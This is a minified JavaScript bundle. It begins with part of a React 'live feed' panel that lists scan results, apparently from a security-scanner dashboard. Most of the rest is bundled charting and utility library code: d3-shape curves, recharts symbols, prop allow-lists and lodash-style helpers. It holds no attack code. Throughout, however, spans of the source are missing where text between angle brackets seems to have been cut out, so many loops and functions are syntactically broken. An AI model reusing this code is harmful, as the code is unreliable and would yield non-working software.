n("typeService");case"vuln":return n("typeVuln");default:return u}};return E.jsxs(Gl,{className:e?"":"flex-1 flex flex-col",children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-3",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(xd,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),n("liveFeed")]}),E.jsxs("div",{className:"flex items-center gap-2",children:[r?E.jsxs(ga,{variant:"default",className:"gap-1",children:[E.jsx(EM,{className:"w-3 h-3"}),E.jsx("span",{className:"hidden sm:inline",children:n("liveFeedConnected")})]}):E.jsxs(ga,{variant:"destructive",className:"gap-1",children:[E.jsx(LB,{className:"w-3 h-3"}),E.jsx("span",{className:"hidden sm:inline",children:n("liveFeedDisconnected")})]}),E.jsxs(ga,{variant:"outline",className:"font-mono",children:[i.length,"/100"]})]})]}),E.jsx(Zl,{className:e?"pt-0":"pt-0 flex-1 min-h-0",children:E.jsx(rx,{className:e?"h-52 lg:h-56":"h-full",children:i.length===0?E.jsx(Vh,{icon:OM,title:n("resultsEmpty"),description:n("liveFeedEmptyDescription"),className:e?"py-6":"py-8"}):E.jsx("div",{className:"space-y-0.5",children:i.map(u=>{const f=l(u.type);return E.jsxs("div",{className:"log-line animate-fade-in group",children:[E.jsx("span",{className:"log-time",children:u.time}),E.jsxs(ga,{variant:u.type?.toLowerCase(),className:"gap-1 text-xs",children:[E.jsx(f,{className:"w-3 h-3"}),t&&c(u.type)]}),E.jsx("span",{className:"log-target",children:u.target}),E.jsx("span",{className:"text-muted-foreground truncate ml-auto text-xs",children:u.status})]},u.id)})})})})]})}var yq=["dangerouslySetInnerHTML","onCopy","onCopyCapture","onCut","onCutCapture","onPaste","onPasteCapture","onCompositionEnd","onCompositionEndCapture","onCompositionStart","onCompositionStartCapture","onCompositionUpdate","onCompositionUpdateCapture","onFocus","onFocusCapture","onBlur","onBlurCapture","onChange","onChangeCapture","onBeforeInput","onBeforeInputCapture","onInput","onInputCapture","onReset","onResetCapture","onSubmit","onSubmitCapture","onInvalid","onInvalidCapture","onLoad","onLoadCapture","onError","onErrorCapture","onKeyDown","onKeyDownCapture","onKeyPress","onKeyPressCapture","onKeyUp","onKeyUpCapture","onAbort","onAbortCapture","onCanPlay","onCanPlayCapture","onCanPlayThrough","onCanPlayThroughCapture","onDurationChange","onDurationChangeCapture","onEmptied","onEmptiedCapture","onEncrypted","onEncryptedCapture","onEnded","onEndedCapture","onLoadedData","onLoadedDataCapture","onLoadedMetadata","onLoadedMetadataCapture","onLoadStart","onLoadStartCapture","onPause","onPauseCapture","onPlay","onPlayCapture","onPlaying","onPlayingCapture","onProgress","onProgressCapture","onRateChange","onRateChangeCapture","onSeeked","onSeekedCapture","onSeeking","onSeekingCapture","onStalled","onStalledCapture","onSuspend","onSuspendCapture","onTimeUpdate","onTimeUpdateCapture","onVolumeChange","onVolumeChangeCapture","onWaiting","onWaitingCapture","onAuxClick","onAuxClickCapture","onClick","onClickCapture","onContextMenu","onContextMenuCapture","onDoubleClick","onDoubleClickCapture","onDrag","onDragCapture","onDragEnd","onDragEndCapture","onDragEnter","onDragEnterCapture","onDragExit","onDragExitCapture","onDragLeave","onDragLeaveCapture","onDragOver","onDragOverCapture","onDragStart","onDragStartCapture","onDrop","onDropCapture","onMouseDown","onMouseDownCapture","onMouseEnter","onMouseLeave","onMouseMove","onMouseMoveCapture","onMouseOut","onMouseOutCapture","onMouseOver","onMouseOverCapture","onMouseUp","onMouseUpCapture","onSelect","onSelectCapture","onTouchCancel","onTouchCancelCapture","onTouchEnd","onTouchEndCapture","onTouchMove","onTouchMoveCapture","onTouchStart","onTouchStartCapture","onPointerDown","onPointerDownCapture","onPointerMove","onPointerMoveCapture","onPointerUp","onPointerUpCapture","onPointerCancel","onPointerCancelCapture","onPointerEnter","onPointerEnterCapture","onPointerLeave","onPointerLeaveCapture","onPointerOver","onPointerOverCapture","onPointerOut","onPointerOutCapture","onGotPointerCapture","onGotPointerCaptureCapture","onLostPointerCapture","onLostPointerCaptureCapture","onScroll","onScrollCapture","onWheel","onWheelCapture","onAnimationStart","onAnimationStartCapture","onAnimationEnd","onAnimationEndCapture","onAnimationIteration","onAnimationIterationCapture","onTransitionEnd","onTransitionEndCapture"];function ix(e){if(typeof e!="string")return!1;var t=yq;return t.includes(e)}var bq=["aria-activedescendant","aria-atomic","aria-autocomplete","aria-busy","aria-checked","aria-colcount","aria-colindex","aria-colspan","aria-controls","aria-current","aria-describedby","aria-details","aria-disabled","aria-errormessage","aria-expanded","aria-flowto","aria-haspopup","aria-hidden","aria-invalid","aria-keyshortcuts","aria-label","aria-labelledby","aria-level","aria-live","aria-modal","aria-multiline","aria-multiselectable","aria-orientation","aria-owns","aria-placeholder","aria-posinset","aria-pressed","aria-readonly","aria-relevant","aria-required","aria-roledescription","aria-rowcount","aria-rowindex","aria-rowspan","aria-selected","aria-setsize","aria-sort","aria-valuemax","aria-valuemin","aria-valuenow","aria-valuetext","className","color","height","id","lang","max","media","method","min","name","style","target","width","role","tabIndex","accentHeight","accumulate","additive","alignmentBaseline","allowReorder","alphabetic","amplitude","arabicForm","ascent","attributeName","attributeType","autoReverse","azimuth","baseFrequency","baselineShift","baseProfile","bbox","begin","bias","by","calcMode","capHeight","clip","clipPath","clipPathUnits","clipRule","colorInterpolation","colorInterpolationFilters","colorProfile","colorRendering","contentScriptType","contentStyleType","cursor","cx","cy","d","decelerate","descent","diffuseConstant","direction","display","divisor","dominantBaseline","dur","dx","dy","edgeMode","elevation","enableBackground","end","exponent","externalResourcesRequired","fill","fillOpacity","fillRule","filter","filterRes","filterUnits","floodColor","floodOpacity","focusable","fontFamily","fontSize","fontSizeAdjust","fontStretch","fontStyle","fontVariant","fontWeight","format","from","fx","fy","g1","g2","glyphName","glyphOrientationHorizontal","glyphOrientationVertical","glyphRef","gradientTransform","gradientUnits","hanging","horizAdvX","horizOriginX","href","ideographic","imageRendering","in2","in","intercept","k1","k2","k3","k4","k","kernelMatrix","kernelUnitLength","kerning","keyPoints","keySplines","keyTimes","lengthAdjust","letterSpacing","lightingColor","limitingConeAngle","local","markerEnd","markerHeight","markerMid","markerStart","markerUnits","markerWidth","mask","maskContentUnits","maskUnits","mathematical","mode","numOctaves","offset","opacity","operator","order","orient","orientation","origin","overflow","overlinePosition","overlineThickness","paintOrder","panose1","pathLength","patternContentUnits","patternTransform","patternUnits","pointerEvents","pointsAtX","pointsAtY","pointsAtZ","preserveAlpha","preserveAspectRatio","primitiveUnits","r","radius","refX","refY","renderingIntent","repeatCount","repeatDur","requiredExtensions","requiredFeatures","restart","result","rotate","rx","ry","seed","shapeRendering","slope","spacing","specularConstant","specularExponent","speed","spreadMethod","startOffset","stdDeviation","stemh","stemv","stitchTiles","stopColor","stopOpacity","strikethroughPosition","strikethroughThickness","string","stroke","strokeDasharray","strokeDashoffset","strokeLinecap","strokeLinejoin","strokeMiterlimit","strokeOpacity","strokeWidth","surfaceScale","systemLanguage","tableValues","targetX","targetY","textAnchor","textDecoration","textLength","textRendering","to","transform","u1","u2","underlinePosition","underlineThickness","unicode","unicodeBidi","unicodeRange","unitsPerEm","vAlphabetic","values","vectorEffect","version","vertAdvY","vertOriginX","vertOriginY","vHanging","vIdeographic","viewTarget","visibility","vMathematical","widths","wordSpacing","writingMode","x1","x2","x","xChannelSelector","xHeight","xlinkActuate","xlinkArcrole","xlinkHref","xlinkRole","xlinkShow","xlinkTitle","xlinkType","xmlBase","xmlLang","xmlns","xmlnsXlink","xmlSpace","y1","y2","y","yChannelSelector","z","zoomAndPan","ref","key","angle"],xq=new Set(bq);function WP(e){return typeof e!="string"?!1:xq.has(e)}function XP(e){return typeof e=="string"&&e.startsWith("data-")}function Ur(e){if(typeof e!="object"||e===null)return{};var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(WP(n)||XP(n))&&(t[n]=e[n]);return t}function Ec(e){if(e==null)return null;if(v.isValidElement(e)&&typeof e.props=="object"&&e.props!==null){var t=e.props;return Ur(t)}return typeof e=="object"&&!Array.isArray(e)?Ur(e):null}function ur(e){var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(WP(n)||XP(n)||ix(n))&&(t[n]=e[n]);return t}var wq=["children","width","height","viewBox","className","style","title","desc"];function E0(){return E0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,width:r,height:i,viewBox:l,className:c,style:u,title:f,desc:h}=e,p=Sq(e,wq),m=l||{width:r,height:i,x:0,y:0},y=Ye("recharts-surface",c);return v.createElement("svg",E0({},ur(p),{className:y,width:r,height:i,style:u,viewBox:"".concat(m.x," ").concat(m.y," ").concat(m.width," ").concat(m.height),ref:t}),v.createElement("title",null,f),v.createElement("desc",null,h),n)}),Eq=["children","className"];function A0(){return A0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=Aq(e,Eq),l=Ye("recharts-layer",r);return v.createElement("g",A0({className:l},ur(i),{ref:t}),n)}),_q=v.createContext(null);function rt(e){return function(){return e}}const QP=Math.cos,Md=Math.sin,Cr=Math.sqrt,jd=Math.PI,Kh=2*jd,C0=Math.PI,_0=2*C0,Gi=1e-6,Tq=_0-Gi;function JP(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return JP;const n=10**t;return function(r){this._+=r[0];for(let i=1,l=r.length;iGi)if(!(Math.abs(m*f-h*p)>Gi)||!l)this._append`L${this._x1=t},${this._y1=n}`;else{let x=r-c,S=i-u,w=f*f+h*h,O=x*x+S*S,A=Math.sqrt(w),_=Math.sqrt(y),T=l*Math.tan((C0-Math.acos((w+y-O)/(2*A*_)))/2),j=T/_,M=T/A;Math.abs(j-1)>Gi&&this._append`L${t+j*p},${n+j*m}`,this._append`A${l},${l},0,0,${+(m*x>p*S)},${this._x1=t+M*f},${this._y1=n+M*h}`}}arc(t,n,r,i,l,c){if(t=+t,n=+n,r=+r,c=!!c,r<0)throw new Error(`negative radius: ${r}`);let u=r*Math.cos(i),f=r*Math.sin(i),h=t+u,p=n+f,m=1^c,y=c?i-l:l-i;this._x1===null?this._append`M${h},${p}`:(Math.abs(this._x1-h)>Gi||Math.abs(this._y1-p)>Gi)&&this._append`L${h},${p}`,r&&(y<0&&(y=y%_0+_0),y>Tq?this._append`A${r},${r},0,1,${m},${t-u},${n-f}A${r},${r},0,1,${m},${this._x1=h},${this._y1=p}`:y>Gi&&this._append`A${r},${r},0,${+(y>=C0)},${m},${this._x1=t+r*Math.cos(l)},${this._y1=n+r*Math.sin(l)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new Mq(t)}function lx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function eR(e){this._context=e}eR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function Yh(e){return new eR(e)}function tR(e){return e[0]}function nR(e){return e[1]}function rR(e,t){var n=rt(!0),r=null,i=Yh,l=null,c=ox(u);e=typeof e=="function"?e:e===void 0?tR:rt(e),t=typeof t=="function"?t:t===void 0?nR:rt(t);function u(f){var h,p=(f=lx(f)).length,m,y=!1,x;for(r==null&&(l=i(x=c())),h=0;h<=p;++h)!(h=x;--S)u.point(T[S],j[S]);u.lineEnd(),u.areaEnd()}A&&(T[y]=+e(O,y,m),j[y]=+t(O,y,m),u.point(r?+r(O,y,m):T[y],n?+n(O,y,m):j[y]))}if(_)return u=null,_+""||null}function p(){return rR().defined(i).curve(c).context(l)}return h.x=function(m){return arguments.length?(e=typeof m=="function"?m:rt(+m),r=null,h):e},h.x0=function(m){return arguments.length?(e=typeof m=="function"?m:rt(+m),h):e},h.x1=function(m){return arguments.length?(r=m==null?null:typeof m=="function"?m:rt(+m),h):r},h.y=function(m){return arguments.length?(t=typeof m=="function"?m:rt(+m),n=null,h):t},h.y0=function(m){return arguments.length?(t=typeof m=="function"?m:rt(+m),h):t},h.y1=function(m){return arguments.length?(n=m==null?null:typeof m=="function"?m:rt(+m),h):n},h.lineX0=h.lineY0=function(){return p().x(e).y(t)},h.lineY1=function(){return p().x(e).y(n)},h.lineX1=function(){return p().x(r).y(t)},h.defined=function(m){return arguments.length?(i=typeof m=="function"?m:rt(!!m),h):i},h.curve=function(m){return arguments.length?(c=m,l!=null&&(u=c(l)),h):c},h.context=function(m){return arguments.length?(m==null?l=u=null:u=c(l=m),h):l},h}class aR{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function jq(e){return new aR(e,!0)}function Pq(e){return new aR(e,!1)}const sx={draw(e,t){const n=Cr(t/jd);e.moveTo(n,0),e.arc(0,0,n,0,Kh)}},Rq={draw(e,t){const n=Cr(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},iR=Cr(1/3),Dq=iR*2,kq={draw(e,t){const n=Cr(t/Dq),r=n*iR;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},Lq={draw(e,t){const n=Cr(t),r=-n/2;e.rect(r,r,n,n)}},Iq=.8908130915292852,oR=Md(jd/10)/Md(7*jd/10),zq=Md(Kh/10)*oR,$q=-QP(Kh/10)*oR,Bq={draw(e,t){const n=Cr(t*Iq),r=zq*n,i=$q*n;e.moveTo(0,-n),e.lineTo(r,i);for(let l=1;l<5;++l){const c=Kh*l/5,u=QP(c),f=Md(c);e.lineTo(f*n,-u*n),e.lineTo(u*r-f*i,f*r+u*i)}e.closePath()}},_g=Cr(3),Uq={draw(e,t){const n=-Cr(t/(_g*3));e.moveTo(0,n*2),e.lineTo(-_g*n,-n),e.lineTo(_g*n,-n),e.closePath()}},nr=-.5,rr=Cr(3)/2,T0=1/Cr(12),Hq=(T0/2+1)*3,qq={draw(e,t){const n=Cr(t/Hq),r=n/2,i=n*T0,l=r,c=n*T0+n,u=-l,f=c;e.moveTo(r,i),e.lineTo(l,c),e.lineTo(u,f),e.lineTo(nr*r-rr*i,rr*r+nr*i),e.lineTo(nr*l-rr*c,rr*l+nr*c),e.lineTo(nr*u-rr*f,rr*u+nr*f),e.lineTo(nr*r+rr*i,nr*i-rr*r),e.lineTo(nr*l+rr*c,nr*c-rr*l),e.lineTo(nr*u+rr*f,nr*f-rr*u),e.closePath()}};function Fq(e,t){let n=null,r=ox(i);e=typeof e=="function"?e:rt(e||sx),t=typeof t=="function"?t:rt(t===void 0?64:+t);function i(){let l;if(n||(n=l=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),l)return n=null,l+""||null}return i.type=function(l){return arguments.length?(e=typeof l=="function"?l:rt(l),i):e},i.size=function(l){return arguments.length?(t=typeof l=="function"?l:rt(+l),i):t},i.context=function(l){return arguments.length?(n=l??null,i):n},i}function Pd(){}function Rd(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function lR(e){this._context=e}lR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Rd(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Vq(e){return new lR(e)}function sR(e){this._context=e}sR.prototype={areaStart:Pd,areaEnd:Pd,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Kq(e){return new sR(e)}function cR(e){this._context=e}cR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Yq(e){return new cR(e)}function uR(e){this._context=e}uR.prototype={areaStart:Pd,areaEnd:Pd,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function Gq(e){return new uR(e)}function wC(e){return e<0?-1:1}function SC(e,t,n){var r=e._x1-e._x0,i=t-e._x1,l=(e._y1-e._y0)/(r||i<0&&-0),c=(n-e._y1)/(i||r<0&&-0),u=(l*i+c*r)/(r+i);return(wC(l)+wC(c))*Math.min(Math.abs(l),Math.abs(c),.5*Math.abs(u))||0}function OC(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Tg(e,t,n){var r=e._x0,i=e._y0,l=e._x1,c=e._y1,u=(l-r)/3;e._context.bezierCurveTo(r+u,i+u*t,l-u,c-u*n,l,c)}function Dd(e){this._context=e}Dd.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Tg(this,this._t0,OC(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Tg(this,OC(this,n=SC(this,e,t)),n);break;default:Tg(this,this._t0,n=SC(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function fR(e){this._context=new dR(e)}(fR.prototype=Object.create(Dd.prototype)).point=function(e,t){Dd.prototype.point.call(this,t,e)};function dR(e){this._context=e}dR.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,l){this._context.bezierCurveTo(t,e,r,n,l,i)}};function Wq(e){return new Dd(e)}function Xq(e){return new fR(e)}function hR(e){this._context=e}hR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=EC(e),i=EC(t),l=0,c=1;c=0;--t)i[t]=(c[t]-i[t+1])/l[t];for(l[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function Qq(e){return new Gh(e,.5)}function Jq(e){return new Gh(e,0)}function eF(e){return new Gh(e,1)}function so(e,t){if((c=e.length)>1)for(var n=1,r,i,l=e[t[0]],c,u=l.length;n=0;)n[t]=t;return n}function tF(e,t){return e[t]}function nF(e){const t=[];return t.key=e,t}function rF(){var e=rt([]),t=N0,n=so,r=tF;function i(l){var c=Array.from(e.apply(this,arguments),nF),u,f=c.length,h=-1,p;for(const m of l)for(u=0,++h;u0){for(var n,r,i=0,l=e[0].length,c;i0){for(var n=0,r=e[t[0]],i,l=r.length;n0)||!((l=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,l,c;r1&&arguments[1]!==void 0?arguments[1]:fF,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function gt(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var u=n[c-1];return typeof u=="string"?i+u+l:u!==void 0?i+yi(u)+l:i+l},"")}var tn=e=>e===0?0:e>0?1:-1,Hr=e=>typeof e=="number"&&e!=+e,Ea=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,Oe=e=>(typeof e=="number"||e instanceof Number)&&!Hr(e),qr=e=>Oe(e)||typeof e=="string",dF=0,Ac=e=>{var t=++dF;return"".concat(e||"").concat(t)},on=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!Oe(t)&&typeof t!="string")return r;var l;if(Ea(t)){if(n==null)return r;var c=t.indexOf("%");l=n*parseFloat(t.slice(0,c))/100}else l=+t;return Hr(l)&&(l=r),i&&n!=null&&l>n&&(l=n),l},mR=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):co(r,t))===n)}var Vt=e=>e===null||typeof e>"u",Yc=e=>Vt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function pF(e){return e!=null}function Gc(){}var mF=["type","size","sizeType"];function M0(){return M0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Yc(e));return vR[t]||sx},OF=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*wF;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},EF=(e,t)=>{vR["symbol".concat(Yc(e))]=t},gR=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=bF(e,mF),l=RC(RC({},i),{},{type:t,size:n,sizeType:r}),c="circle";typeof t=="string"&&(c=t);var u=()=>{var y=SF(c),x=Fq().type(y).size(OF(n,r,c)),S=x();if(S!==null)return S},{className:f,cx:h,cy:p}=l,m=ur(l);return Oe(h)&&Oe(p)&&Oe(n)?v.createElement("path",M0({},m,{className:Ye("recharts-symbols",f),transform:"translate(".concat(h,", ").concat(p,")"),d:u()})):null};gR.registerSymbol=EF;var yR=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,AF=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(v.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{ix(i)&&(r[i]=(l=>n[i](n,l)))}),r},CF=(e,t,n)=>r=>(e(t,n,r),null),Wh=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var l=e[i];ix(i)&&typeof l=="function"&&(r||(r={}),r[i]=CF(l,t,n))}),r};function DC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function _F(e){for(var t=1;t(c[u]===void 0&&r[u]!==void 0&&(c[u]=r[u]),c),n);return l}var Lg={},Ig={},kC;function jF(){return kC||(kC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let l=0;l=0}e.isLength=t})(Ug)),Ug}var zC;function dx(){return zC||(zC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=PF();function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(Bg)),Bg}var Hg={},$C;function RF(){return $C||($C=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(Hg)),Hg}var BC;function DF(){return BC||(BC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dx(),n=RF();function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})($g)),$g}var qg={},Fg={},UC;function kF(){return UC||(UC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fx();function n(r){return function(i){return t.get(i,r)}}e.property=n})(Fg)),Fg}var Vg={},Kg={},Yg={},Gg={},HC;function xR(){return HC||(HC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Gg)),Gg}var Wg={},qC;function wR(){return qC||(qC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Wg)),Wg}var Xg={},FC;function SR(){return FC||(FC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.eq=t})(Xg)),Xg}var VC;function LF(){return VC||(VC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=xR(),n=wR(),r=SR();function i(p,m,y){return typeof y!="function"?i(p,m,()=>{}):l(p,m,function x(S,w,O,A,_,T){const j=y(S,w,O,A,_,T);return j!==void 0?!!j:l(S,w,x,T)},new Map)}function l(p,m,y,x){if(m===p)return!0;switch(typeof m){case"object":return c(p,m,y,x);case"function":return Object.keys(m).length>0?l(p,{...m},y,x):r.eq(p,m);default:return t.isObject(p)?typeof m=="string"?m==="":!0:r.eq(p,m)}}function c(p,m,y,x){if(m==null)return!0;if(Array.isArray(m))return f(p,m,y,x);if(m instanceof Map)return u(p,m,y,x);if(m instanceof Set)return h(p,m,y,x);const S=Object.keys(m);if(p==null||n.isPrimitive(p))return S.length===0;if(S.length===0)return!0;if(x?.has(m))return x.get(m)===p;x?.set(m,p);try{for(let w=0;w{})}e.isMatch=n})(Kg)),Kg}var Zg={},Qg={},Jg={},YC;function IF(){return YC||(YC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(Jg)),Jg}var ey={},GC;function ER(){return GC||(GC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(ey)),ey}var ty={},WC;function AR(){return WC||(WC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",l="[object Arguments]",c="[object Symbol]",u="[object Date]",f="[object Map]",h="[object Set]",p="[object Array]",m="[object Function]",y="[object ArrayBuffer]",x="[object Object]",S="[object Error]",w="[object DataView]",O="[object Uint8Array]",A="[object Uint8ClampedArray]",_="[object Uint16Array]",T="[object Uint32Array]",j="[object 